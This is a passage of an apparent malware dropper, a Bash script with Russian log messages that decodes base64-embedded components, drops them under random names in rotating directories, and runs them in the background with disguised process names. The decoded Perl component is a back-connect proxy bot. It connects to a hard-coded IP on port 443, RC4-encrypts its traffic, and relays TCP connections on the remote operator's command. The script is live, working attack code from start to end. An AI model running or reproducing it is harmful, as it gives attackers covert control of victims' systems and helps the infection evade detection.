IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n NCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg MCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIp KTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkg Y2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsr KSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgc2xlZXAgMTA7CgkgCgkgaWYgKCRpc0V4 aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKYmNjbmN0KFwkaG9zdCwg XCRwb3J0KTsK BINARY_EOF chmod +x "$EXTRACTED_FILE" RANDOM_PROC_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c $RANDOM_NAME_LENGTH) # Определяем тип файла по первой строке (shebang) first_line=$(head -n 1 "$EXTRACTED_FILE") if [[ "$first_line" == *"perl"* ]]; then echo "[RUNNER] Компонент #37 (Perl) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" perl ./$PAYLOAD_NAME > /dev/null 2>&1) & else echo "[RUNNER] Компонент #37 (Бинарный) -> '$DEPLOY_DIR' под именем '$RANDOM_PROC_NAME'..." (cd "$DEPLOY_DIR" && exec -a "$RANDOM_PROC_NAME" ./$PAYLOAD_NAME > /dev/null 2>&1) & fi if [ "$first_run" = true ]; then first_run=false; else echo "[RUNNER] Пауза на $PAUSE_SECONDS секунд..." sleep $PAUSE_SECONDS; fi # --- Подготовка и запуск компонента 38 --- DEPLOY_DIR=${candidate_dirs[$dir_index]} PAYLOAD_NAME=$(cat /dev/urandom | tr -dc 'a-z0-9' | head -c 8) EXTRACTED_FILE="$DEPLOY_DIR/$PAYLOAD_NAME" dir_index=$(((dir_index + 1) % dir_count)) base64 -d > "$EXTRACTED_FILE" << 'BINARY_EOF' IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBTb2NrZXQ7CnVz ZSBTb2NrZXQgcXcoSVBQUk9UT19UQ1AgVENQX05PREVMQVkpOwp1c2UgRmNudGw7CnVzZSBGY250 bCBxdyg6ZmxvY2spOwp1c2UgdGhyZWFkczsKdXNlIHRocmVhZHM6OnNoYXJlZDsKCm15ICRob3N0 ID0gJzE4NS45My44OS4xNTknOwpteSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAi IHggNTA7Cgpmb3IgKG15ICRpID0gMDsgJGkgPCA1MDsgJGkrKykgeyBzdWJzdHIoJHhvcmRhdGEs ICRpLCAxKSA9IHBhY2soJ0MnLCByYW5kKDI1NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBt eSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkgbXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBt eSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15 ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRw b2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0g MDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAk cG9ja2Vtb241ID0gMDsKCQoJIG15ICRwb2NrZW1vbjYgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9 IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRy c2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgbXkgJHQgPSAw OwoJIAoJIGZvciAobXkgJGkgPSAwOyAkaSA8PSAyNTU7ICRpKyspIHsgc3Vic3RyKCRyYzQsICRp LCAxKSA9IHBhY2soJ0MnLCAkaSk7IH0KCSAKCSBkbyB7CgkJIAoJCSBzdWJzdHIoJCRidWZmMCwg JHN0YXJ0ICsgJHJzaSwgMSkgPSBwYWNrKCdDJywgKHVucGFjaygnQycsIHN1YnN0cigkJGJ1ZmYw LCAkc3RhcnQgKyAkcnNpLCAxKSkgXiB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHJieCwg MSkpKSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBp ZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxl KCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAK CQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJ IGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJ CSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vt b243ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjAsIDEpKTsKCQkgCgkJICR0 ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRwb2NrZW1vbjIsIDEpKTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHQ7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2Nr ZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uNiA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7 CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9u Nik7CgkJIAoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMSwgMSkgPSBwYWNrKCdDJywgJHBvY2tl bW9uNyk7CgkJIAoJCSAkcG9ja2Vtb24wKys7CgoJCSAkcG9ja2Vtb24wID0gJHBvY2tlbW9uMCAm IDI1NTsKCQkgCgkJIGlmICgkcG9ja2Vtb24wICE9IDApIHsKCQkJIAoJCQkgJGdzID0gMTsKCQkJ IAoJCQkgbmV4dDsKCQl9CgkJCgkJICRwb2NrZW1vbjQgPSAkc3o7CgoJCSAkcG9ja2Vtb24xID0g MDsKCgkJICRwb2NrZW1vbjAgPSAwOwoKCQkgJHBvY2tlbW9uMiA9IDA7CgoJCSAkcG9ja2Vtb24z ID0gMDsKCQkgCgkJIHdoaWxlKDEpIHsKCQkJIAoJCQkgJHBvY2tlbW9uMisrOwoKCQkJICRwb2Nr ZW1vbjIgPSAkcG9ja2Vtb24yICYgMjU1OwoKCQkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBz dWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2Nr ZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9u OCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSk7CgoJCQkgc3Vic3Ry KCRyYzQsICRwb2NrZW1vbjIsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjgpOwoJCSAKCQkJIHN1 YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCgkJCSAk cG9ja2Vtb244ICs9ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYg MjU1OwoKCQkJICRwb2NrZW1vbjAgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9u OCwgMSkpOwoJCQkgCgkJCSAkcG9ja2Vtb241ID0gdW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAs ICRzdGFydCArICRwb2NrZW1vbjMsIDEpKTsKCgkJCSAkcG9ja2Vtb241ID0gJHBvY2tlbW9uNSBe ICRwb2NrZW1vbjA7CgkJCSAKCQkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcG9ja2Vtb24z LCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb241KTsKCQkJIAoJCQkgJHBvY2tlbW9uMysrOwoJCQkg CgkJCSBpZiAoLS0kcG9ja2Vtb240ID09IDApCgkJCSB7CgkJCQkgbGFzdDsKCQkJIH0KCQkJIAoJ CX0KCQkgCgkJIGxhc3Q7Cgl9CgkKCSAkcnNpID0gMDsKCQoJICRyY3ggPSAkc3o7CgkKCSAkcmJ4 ID0gMDsKCQoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9 IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEp KSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2kr KzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgp IHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1 YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tldCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVy ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRmbGFncwk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAkZmgs ICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzZW5kKCRjU29j a2V0LCAkYnVmZmVyLCAkZmxhZ3MpOwoJIAoJICMgPT09PT09PT09PT09PT09PT09PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT0KCSAKCSBmbG9jaygkZmgsIExPQ0tfVU4pOwoKCSBjbG9zZSgk ZmgpOwp9CgpzdWIgbmV3Q29ubmVjdGlvbiB7CgkKCW15ICRudW0gPSBzaGlmdChAXyk7CgkKCW15 ICRzb2NrZXRhcnJheSA9IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkK CW15ICRjU29ja2V0ID0gc2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKICAg IHRocmVhZHMtPmNyZWF0ZSggc3ViIHsKCQkKCQlteSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJG51 bSkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJ CgkJbXkgJGRvbWFpbiA9ICcnOwoJCQoJCW15ICRwb3J0ID0gMDsKCQkKCQlteSAkX3JldCA9IDA7 CgkJCgkJbXkgJGRhdGEgPSAnJzsKCQkKCQlteSAkYnVmZmVyID0gJyc7CgkJCgkJc2V0c29ja29w dCgkY1NvY2tldCwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkKCQlmY250bCgkY1Nv Y2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkJCgkJaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZjAsIDcsIDEpKSA9PSAzKSB7CgkJCQoJCQkkZG9tYWluID0gc3Vic3RyKCRidWZmMCwgOSwg dW5wYWNrKCdDJywgc3Vic3RyKCRidWZmMCwgOCwgMSkpKTsKCQkJCgkJCSRwb3J0ID0gdW5wYWNr KCdTJywgc3Vic3RyKCRidWZmMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDgsIDEp KSArIDEsIDEpLnN1YnN0cigkYnVmZjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmYwLCA4 LCAxKSkgKyAwLCAxKSk7CgkJCQoJCX0KCQkKCQllbHNpZiAodW5wYWNrKCdDJywgc3Vic3RyKCRi dWZmMCwgNywgMSkpID09IDEpIHsKCQkJCgkJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4l ZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAwLCAxKSksIHVucGFjaygnQycsIHN1 YnN0cigkYnVmZjAsIDggKyAxLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAy LCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZjAsIDggKyAzLCAxKSkpOwoJCQkKCQkJJHBv cnQgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmYwLCAxMiArIDEsIDEpLnN1YnN0cigkYnVmZjAs IDEyICsgMCwgMSkpOwoJCQkKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgZ290byBjbG9zZV87CgkJ fQoJCQoJCSBldmFsIHsKCQkJIAoJCQkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJHBvcnQsIGlu ZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCSBjb25uZWN0KCRjU29ja2V0LCAkcGFkZHIpOwoJCSAK CQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCgkJCSB1bmxl c3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEwKSkgeyBnb3RvIGNsb3NlXzsgfQoJCSAK CQkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCAwKTsKCQkgCgkJCSBzdWJzdHIoJHJlc3BvbmNl LCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCSAkX3JldCA9IDE7CgkJCSAKCQkgfTsKCQkgCgkJIGNs b3NlXzoKCQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsK CQkgCgkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJ CSBzeW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIE1TR19OT1NJR05BTCk7CgkJIAoJCSBSYzRf Y3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCSBpZiAoJF9yZXQg PT0gMSkgewoJCQkgCgkJCSB3aGlsZSAoJCRzb2NrZXRhcnJheVskbnVtXSA9PSAxKSB7CgkJCQkg CgkJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRjU29ja2V0KSwgMSkgPSAxOwoJCQkJIAoJ CQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMSkpIHsgbmV4dDsgfQoJCQkJ IAoJCQkJICRkYXRhID0gJyc7CgoJCQkJIHJlY3YoJGNTb2NrZXQsICRkYXRhLCA2NTUzMCwgMCk7 CgkgCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJGJ1ZmZlciA9IHBh Y2soJ0MnLCAkbnVtKS5wYWNrKCdTJywgbGVuZ3RoKCRkYXRhKSkuJGRhdGE7CgkJCQkgCgkJCQkg UmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAwLCAzKTsKCQkgCgkJCQkgUmM0X2Ny eXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyLCAzLCBsZW5ndGgoJGRhdGEpKTsKCQkJCSAKCQkJ CSBzeW5zZW5kKCRzU29ja2V0LCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQl9CgkJ fQoJCQoJCSAkJHNvY2tldGFycmF5WyRudW1dID0gMDsKCQkgCgkJIGNsb3NlKCRjU29ja2V0KTsK CQkgCgkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkgCgkJIFJjNF9j cnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJIHN5bnNlbmQoJHNT b2NrZXQsIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQogICAgICAg ICB0aHJlYWRzLT5kZXRhY2goKTsKICAgIH0pOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3Qg PSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmlu ZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkg bXkgQHNvY2tldGFycmF5IDpzaGFyZWQ7CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsK CSAKCSBteSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAnJzsK CSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsK CSAKCSBteSAkZGF0YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsK CSAKCSBteSAkZWR4ID0gMDsKCSAKCSBzb2NrZXQoJHNvY2tldGFyclswXSwgUEZfSU5FVCwgU09D S19TVFJFQU0sIGdldHByb3RvYnluYW1lKCd0Y3AnKSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0 YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOwoJIAoJIG15ICRwYWRkciA9IHNv Y2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0 KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJc eEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiUGVybCBzY3JpcHQiOwoJ IAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzZW5k KCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkgCgkgd2hpbGUoMSkgewoJ CSAKCQkgaWYgKCRyZW1haW5pbmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywg ZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7CgkJCSAKCQkJIG15ICRyZXQgPSBzZWxlY3Qo JHJpbiwgdW5kZWYsIHVuZGVmLCA2MCk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJ IAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVy bnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJIGxhc3QgaWYgKCRyZW1h aW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZzQgIT0gMCk7CgkJCQkg CgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkg CgkJCQkgc3luc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgTVNHX05PU0lHTkFMKTsK CQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAw IHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJ CQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZl cjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJ CQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAk ZWJ4ID4gMCkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJIAoJCQkJ fQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJ ICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJ CQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNz ICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEp OwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRy ZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigk YnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJb JGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJ CQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSBuZXdDb25u ZWN0aW9uKCRlYngsIFxAc29ja2V0YXJyYXksICRzb2NrZXRhcnJbMF0sICRzb2NrZXRhcnJbJGVi eF0sICRidWZmZXIwKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzZSB7CgkJCQkJCSAK CQkJCQkJIHNlbmQoJHNvY2tldGFyclskZWJ4XSwgc3Vic3RyKCRidWZmZXIwLCA0LCAkcmVtYWlu aW5nKSwgTVNHX05PU0lHTkFMKTsKCQkJCQkJIAoJCQkJCX0KCQkJCQkgCgkJCQkJICRyZW1haW5p bmcgPSAwOwoJCQkJfQoJCQkJCgkJCX0KCQkJIAoJCQkgJHJlbWFpbmluZzQgPSAwOwoJCQkgCgkJ fQoJCQoJCWVsc2UgewoJCQkKCQkJIGlmICgkcmVtYWluaW5nNCA9PSAwKSB7ICRidWZmZXIwID0g Jyc7IH0KCQkJCgkJCSAkZWF4ID0gNDsKCQkJCgkJCSAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0 OwoJCQkgCgkJCSAkZGF0YSA9ICcnOwoJCQkgCgkJCSByZWN2KCRzb2NrZXRhcnJbMF0sICRkYXRh LCAkZWF4LCAwKTsKCQkJIAoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCSAKCQkJICRy ZW1haW5pbmc0ICs9IGxlbmd0aCgkZGF0YSk7CgkJCSAKCQkJICRidWZmZXIwIC49ICRkYXRhOwoJ CQkgCgkJCSAkYnVmZmVybnVsbCA9ICJceDAwIiB4IDM7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5n 